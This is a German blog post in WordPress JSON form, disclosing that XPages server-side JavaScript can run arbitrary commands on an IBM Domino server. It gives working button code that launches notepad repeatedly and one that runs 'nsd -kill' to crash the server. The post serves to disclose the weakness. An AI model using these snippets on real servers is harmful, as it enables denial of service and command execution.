{"id":480,"date":"2012-01-08T01:06:02","date_gmt":"2012-01-07T23:06:02","guid":{"rendered":"http:\/\/hasselba.ch\/blog\/?p=480"},"modified":"2012-01-08T01:07:39","modified_gmt":"2012-01-07T23:07:39","slug":"security-domino-server-backdoor","status":"publish","type":"post","link":"https:\/\/hasselba.ch\/blog\/?p=480","title":{"rendered":"Security: Domino Server Backdoor"},"content":{"rendered":"

Mit XPages l\u00e4sst sich ein Domino Server auf einfachste Weise lahm legen, da man \u00fcber die Java Runtime beliebige Threads starten kann.<\/p>\n

Ein kleiner Button startet z.B. Notepad auf einem Windows Domino Server:<\/p>\n

<xp:button value=\"Start NotePad!\" id=\"buttonStartNotePad\">\r\n   <xp:eventHandler event=\"onclick\" submit=\"true\"\r\n      refreshMode=\"norefresh\">\r\n      <xp:this.action>\r\n         <![CDATA[#{javascript:\r\n            java.lang.Runtime.getRuntime().exec(\"notepad\");}]]>\r\n      <\/xp:this.action>\r\n   <\/xp:eventHandler>\r\n<\/xp:button><\/pre>\n
 <\/p>\n
Bei jedem Klick wird auf dem Domino Server einmal Notepad gestartet. Eine kleine Schleife, und auch ein gro\u00dfz\u00fcgig dimensionierter Server geht in die Knie.<\/p>\n
Richtig \u00fcbel wird es allerdings, wenn dieser Button geklickt wird:<\/p>\n
ACHTUNG! NICHT AUF PRODUKTIVEN SYSTEMEN AUSF\u00dcHREN!<\/strong><\/p>\n
<xp:button value=\"KILL NOTES!\" id=\"buttonKillNotes\">\r\n   <xp:eventHandler event=\"onclick\" submit=\"true\"\r\n      refreshMode=\"norefresh\">\r\n\u00a0\u00a0 \u00a0\u00a0 <xp:this.action>\r\n         <![CDATA[#{javascript:\r\n            java.lang.Runtime.getRuntime().exec(\"nsd -kill\");}]]>\r\n         <\/xp:this.action>\r\n      <\/xp:eventHandler>\r\n<\/xp:button><\/pre>\n
\"\"<\/p>\n
Dann ist der Domino Server weg!<\/p>\n
\"\"<\/p>\n
Bei dem „zerlegten“ Server handelt es sich um eine Standard-Installation. Die java.policy<\/em> wurde nicht ge\u00e4ndert.<\/p>\n","protected":false},"excerpt":{"rendered":"
Mit XPages l\u00e4sst sich ein Domino Server auf einfachste Weise lahm legen, da man \u00fcber die Java Runtime beliebige Threads starten kann. Ein kleiner Button startet z.B. Notepad auf einem Windows Domino Server: <xp:button value=“Start NotePad!“ id=“buttonStartNotePad“> <xp:eventHandler event=“onclick“ submit=“true“ … Weiterlesen →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,35,82,74],"tags":[15,7,90,5,3,85],"class_list":["post-480","post","type-post","status-publish","format-standard","hentry","category-allgemein","category-security","category-server","category-xpages","tag-bug","tag-domino","tag-security","tag-ssjs","tag-xpages","tag-xsp"],"_links":{"self":[{"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/480","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=480"}],"version-history":[{"count":5,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/480\/revisions"}],"predecessor-version":[{"id":504,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/480\/revisions\/504"}],"wp:attachment":[{"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=480"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=480"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hasselba.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=480"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}